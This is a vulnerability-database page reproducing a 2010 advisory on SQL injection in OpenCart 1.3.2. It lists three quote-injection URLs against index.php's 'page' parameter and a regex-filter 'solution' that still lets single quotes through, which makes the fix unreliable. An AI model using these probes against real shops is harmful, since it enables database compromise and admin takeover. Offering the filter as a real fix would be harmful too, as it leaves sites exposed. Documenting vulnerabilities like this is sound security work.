Lucene search
+L

OpenCart 1.3.2 SQL Injection Vulnerability

🗓️ 07 Mar 2010 00:00:00Reported by Andres GomezType 
zdt
 zdt
🔗 0day.today👁 78 Views

OpenCart 1.3.2 SQL Injection Vulnerability, allows arbitrary SQL execution and data exposur

Code
==========================================
OpenCart 1.3.2 SQL Injection Vulnerability
==========================================

##########################[Andres Gomez]##########################
# Exploit Title : OpenCart 1.3.2 SQL Injection
# Date : 07/03/2010
# Author : Andres Gomez
# Software Link : http://www.coompras.com/opencart/opencart.htm
# Dork : No DoRk
########################################################################
# An attacker may execute arbitrary SQL statements on the vulnerable system.
# This may compromise the integrity of your database and/or expose sensitive information.
########################################################################
# Example 1: index.php?route=product%2Fspecial&path=20&page='
# Example 2: index.php?route=product%2Fspecial&path=20&page=\'
# Example 3: index.php?route=product%2Fcategory&path=20&page=andres'"
########################################################################
# Malicious users may inject SQL code into a vulnerable
# application to fool a user in order to gather data from them. An attacker can
# take admin user and login in your panel.
########################################################################
# Solution:
# You have to put this regular expresion in the first two lines of your index.php
# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
########################################################################



#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation